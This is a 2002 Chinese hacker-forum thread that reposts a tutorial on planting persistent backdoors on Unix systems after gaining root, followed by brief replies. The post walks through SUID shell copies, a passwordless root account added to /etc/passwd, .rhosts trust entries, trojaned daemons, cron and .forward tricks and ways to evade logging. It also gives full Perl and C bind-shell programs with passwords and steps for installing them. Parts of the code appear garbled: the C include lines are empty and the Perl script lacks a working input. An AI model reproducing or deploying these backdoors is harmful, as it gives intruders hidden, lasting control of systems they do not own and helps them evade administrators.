>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  如何创建后门 *nix[分享][推荐]
发表文章 发表涂鸦
  回复数:5  点击数:223 将此页发给您的朋友        
作者 主题: 如何创建后门 *nix[分享][推荐] 回复 | 收藏 | 打印 | 篇末
czh帅哥哦
级别:精灵
威望:0
经验:3
货币:647
体力:54.9
来源:211.98.136.*
总发帖数:435
注册日期:2002-01-21
查看 邮件 主页 QQ 消息 引用 复制 下载 

作者: console

千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持.以被以后用来。。。d0ing
what u want t0 d0
传统的方法就是建立一个后门(backd00r).即使入侵被发现,好的(先进)后门仍然能够使你
再次轻松的破门而入 -- 请记住:
" we come back and we are the h.a.c.k.e.r "
--
创建后门的方法如下:
-
1. setuid
#cp /bin/sh /tmp/.backdoor
#chmod u+s /tmp/.backdoor
加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM发现
find / -perm 4000 -print;
同时在大多数的SUNOS上你会发现不能setuid。-- 适用于新手;
-
2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd
即给系统增加一个 id 为 0(root)的帐号,无口令;
也很容易被发现。 -- 适用于新手;
-
3.echo "+ zer9">>/.rhosts
即本地的名为 zer9 的用户可以直接 rlogin target 无须口令
此时的 zer9 就相当于口令,不知道的人是不能进去的.
前提是目标的port 512or513or514 opening.
注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标
导致目标门户打开,最好不要;
还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限;
-- 适用于比新手高一点点,比中级水平低一点点的guys;
-
4.modify sendmail.cf 增加一个"wiz" 命令;
usage:
telnet target 25 [enter]
wiz[enter]
这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎所有的扫描器都会刺探本漏
洞。不过你可把命令本身该成其他不易猜到的名字。比较复杂,危险,但ADM不易发现,隐蔽
性较强;
你只在你的机器上试一试就okay了;
-- 顾名思意,大师级漏洞;
-
5. crack suck as inetd,login,...
即安装它们的特络绎版本。你需要找到各版本unix的rootkit;
然后分别编译即可;
--
如果目标机上没有安装 tripwire之类的东东,那几乎不可能被发现。linux&sunos&freebsd
的可能
好找,但其他的了?即使你找到了,你有对应平台上的编译器吗?我有一台运行 slackware
,one running irix,one running sunos,one running hpux,one running digits unix,...
hahhahha,我又做梦了
-- 我个人认为是最好的方法,但实现起来有一定风险,
你必须考虑到如果你的木马运行出错怎么办--因为
我们所做的一切都必须以不破坏目标机上的任何数
据为原则;
-
6.ping rem0te backd00r
即使是防火墙也很少阻止 ICMP 的通过,因此本后门可绕过防火墙。具体的程序你可在 [TH
C] 的主页发现;我想到了另外一种直接用ping命令实现的可通过防火墙的方法 :
一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火 墙内的信息均被过滤掉 :(
用 60k data 代表长,10k data 代表短;使用摩尔思编码;
(或其他自定义编码)
双方通过 ICMPinfo 接受信息(ping 's data length);
“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河-
-- 向我开炮!向我开炮”(^o^);
以后有时间我会通过程序来实现验证可行性的。
(技术上应该没有什么难度)
-
7.rem0te shell
我最喜欢的方式。而且由于绕开了login,故用 who 无法看到--也就是说,避开了utmp&utmp
x&wtmp&wtmpx;但没有完全避开 syslogd.ADM仍可以在/var/log/messages中发现
你。不过,有一种方法可以彻底完全的旁路 syslogd!且听下面一一道来.
bindshell的实现有两种:
a.
替换掉 inetd.conf 中的不重要服务,如 rlogind
在inetd 接受 connect 请求后,直接在本端口
利用 system("/bin/csh -i");
直接spam 出一个shell,
b. 接受 connect 后,在高端spam出一个shell;
(更安全 :)
下面我给出一个perl 实现(不需socket libary支持)
(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)
和一个 gnuc 的实现(test on slackware 2.0.33&irix6.4)
---
perl 版安装方法:
###无须编译!!只要目标机上有perl支持就okay!
如何判断有无perl: $/>perl [enter]

[ctrl-c]
$/>
-
如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面的方法有很大的危险性, exit(-1)
please;
-
首先将源程序cut,存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop2d..
..最好是已经被ADM关掉了,而且不太引人注目的daemon,注意,一定要是 TCP types.然后
mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak )
cp in.rexecd /usr/sbin/in.rexecd
然后 ps -aux|grep inetd;kill -HUP id(by inetd);
okay! 连 /etc/inetd.conf 都不要改。
重申一点:不论在任何情况下,我们都要尽最大的可能保护数据!
-
Usage: nc target (such as 512)
[enter]
ur passwd [enter]
(then u login in...

----Cut Here------------------------------------------

#!/usr/bin/perl
#
# BEST
# SIMPLE
# rem0te bind shell
#[perl version only tcp]
# by
# zer9[FTT]
# zer9@21cn.com
#passed on allmost unix
#greet to:van Hauser/[THC]
# for his daemonshell.pl
#
$SHELL="/bin/csh -i";
#d3f4ult p4sswd 1s "wh04r3u" (no quote);
$PASSWORD="BifqmATb6D5so";

if ($PASSWORD) {
chop($pass=);
if (crypt($pass, $PASSWORD) ne $PASSWORD) {
exit 0;
}
exec $SHELL ;
exit 0;
}

----Cut Here--------------------------------------------




下面是一个for gnuc 的bindshell,first cut it,save as
backdoor.c ,then cc backdoor.c -o backdoor
other action just l1ke before;
Usage: (exp:binding to in.rlogind (513))
nc target 513 //spam a shell on the high port;
nc target 54321
ur passwd
(then u coming in...)


----Cut Here-------------------------------------

/*
* [ b i n d - s h e l l ]
* by
* zer9[FTT]
* zer9@21cn.com
*test on slackware 2.0.33&irix6.4(cc)
*cc backdoor.c -o backdoor
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m
*c0mm4nd l1n3: backdoor [port]
*d3fault p0rt 1s: 54321
*greets to b4b0 for his b4b0.c
*m4yb3 1 c0uld s4y:
*"0k,b4b0.l1st3n c4r3fully;"
*s0rry,just a joke.
*
*/

#include
#include
#include
#include
#include
#include
#include


#define PassWord "k1n90fth3w0rld"
/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */

#define DefaultPort 54321
/* d3f4ult b1nd1ng p0rt */

int main(int argc,char **argv)
{
int s,in_s;
struct sockaddr_in server,client;
int client_len,bindport;
char recvbuf[1000];

if(argc!=2) bindport=DefaultPort;
else
bindport=atoi(argv[1]);
if((s=socket(AF_INET,SOCK_STREAM,0))<0)
{
perror("socket");
return -1;
}
bzero((char *)&server,sizeof(server));
bzero((char *)&client,sizeof(client));
bzero(recvbuf,sizeof(recvbuf));
server.sin_family=AF_INET;
server.sin_port=htons(bindport);
server.sin_addr.s_addr=INADDR_ANY;
if(bind(s,(struct sockaddr *)&server,sizeof(server))<0)
{
perror("bind");
return -1;
}
if(listen(s,3)!=0)
{
perror("listen");
return -1;
}
client_len=sizeof(client);
if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0)
{
perror("accept");
return -1;
}
recv(in_s,recvbuf,sizeof(recvbuf),0);
sleep(1);
if((strlen(recvbuf)-1)==strlen(PassWord))
if(!strncmp(recvbuf,PassWord,strlen(PassWord)))
{
send(in_s,"0k4y! c0m1ng 1n...\n",25,0);
close(0);close(1);close(2);
dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);
execl("/bin/csh","/bin/csh",(char *)0);
}
close(s);
close(in_s);
return 0;
}

----Cut Here-------------------------------------------------

用上面的方法都不能完全的避开syslogd,因为他们都是由inetd 启动的,inetd启动它们的同
时已经进行log 了;
旁路掉inetd就能完全避开syslog!
方法很简单,只要直接在命令行直接启动例程2(c)就可以了,
(1perl不行);不过这样很麻烦;一旦ADM关掉计算机就玩完了;
比较好的方法是在 /etc/rc.d/rc.local中加入:
backdoor &
但即使这样作了,每次用过后还要再起动一次;更好的方法是写一个具有完全功能(后门功能
^o^)的daemon,彻底的解决这个问题;但这样做与hack inetd 那样更有效率(安全)了?
--
8.第八种武器就是 crontab
我只知道原理,没实践过.
每到一定时间就往 /etc/passwd 中加入一条uid为0(root)
的用户;时间一道就delete ,或创建suid's shell...
在序言中提到的文章中有详细介绍;
--
9.有没有想过只要向系统的一个用户发一个email,OS 就会spam出一个shell?利用用户的hom
e目录下的 .forward 可作到这一点。
--
10。修改内核--超级高手的做法;2.2.0的解压文件达到了50几MB,
看到就头痛。接着就 jmp ffff0 (不是看到内容,而是看到大小);
[THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看;
--
11.还有就是利用 overflow 程序,虽然我们一般是利用它取得root;
但只要 ADM && u 没有 patch ,始终我们可以利用它的,与suid不同的是它不怕被 find /
-perm 4000 发现;一般只有 tripwire可发现。

---------
我所知道的方法全部坦白完了,如果你知道更好更酷的(or 更差更复杂)
,请与我交流。谢谢!
----------------------------------------------------------
czh
MSN:czh76821@msn.com
yahooID:czh_21

编辑 删除 发表时间发表于 2002-03-23.10:52:20   MSIE 6.0 Windows 2000IP: 已记录
帅哥哦
级别:长 老 级
威望:1
经验:0
货币:1693
体力:95.4
来源:211.90.123.*
总发帖数:930
注册日期:2002-01-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

看过了,写的还可以

作者是传说中的高手,现在已经找他人不到了,改名?
----------------------------------------------------------
你们到底他妈的有什么不爽的?

编辑 删除 发表时间发表于 2002-03-23.10:58:00   MSIE 6.0 Windows NT 5.2IP: 已记录
czh帅哥哦
级别:精灵
威望:0
经验:3
货币:647
体力:54.9
来源:211.98.136.*
总发帖数:435
注册日期:2002-01-21
查看 邮件 主页 QQ 消息 引用 复制 下载 

是啊,我也是在另一个网站转帖来的
----------------------------------------------------------
czh
MSN:czh76821@msn.com
yahooID:czh_21

编辑 删除 发表时间发表于 2002-03-23.11:08:15   MSIE 6.0 Windows 2000IP: 已记录
痞菜帅哥哦
级别:管理员
威望:9
经验:15
货币:99939
体力:100
来源:不知道
总发帖数:2601
注册日期:2001-04-13
查看 邮件 主页 QQ 消息 引用 复制 下载 

就我知道 好象不是这个人写的吧?
----------------------------------------------------------

哈哈

编辑 删除 发表时间发表于 2002-03-23.11:19:01   MSIE 5.01 Windows 2000IP: 已记录
蓝骑士帅哥哦
级别:老 站 友
威望:0
经验:0
货币:1066
体力:80.5
来源:202.100.249.*
总发帖数:382
注册日期:2002-02-16
查看 邮件 主页 QQ 消息 引用 复制 下载 

倒~~~~~
多久的事情了?

编辑 删除 发表时间发表于 2002-03-23.11:29:07   MSIE 5.01 Windows 2000IP: 已记录
cooldidi帅哥哦
级别:长 老 级
威望:0
经验:0
货币:172
体力:5.9
来源:江苏
总发帖数:901
注册日期:2002-02-06
查看 邮件 主页 QQ 消息 引用 复制 下载 

这个有很多人写,就是看你自己会不会用了
另外,如果你熟悉*UIX,完全可以不用他的方法就能创建一个后门
而且更加隐蔽,就我所知,现在有很多很小的程序已经能够做到。
----------------------------------------------------------
我很懒的---:-)

编辑 删除 发表时间发表于 2002-03-26.15:11:10   MSIE 6.0 Windows XPIP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP 
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题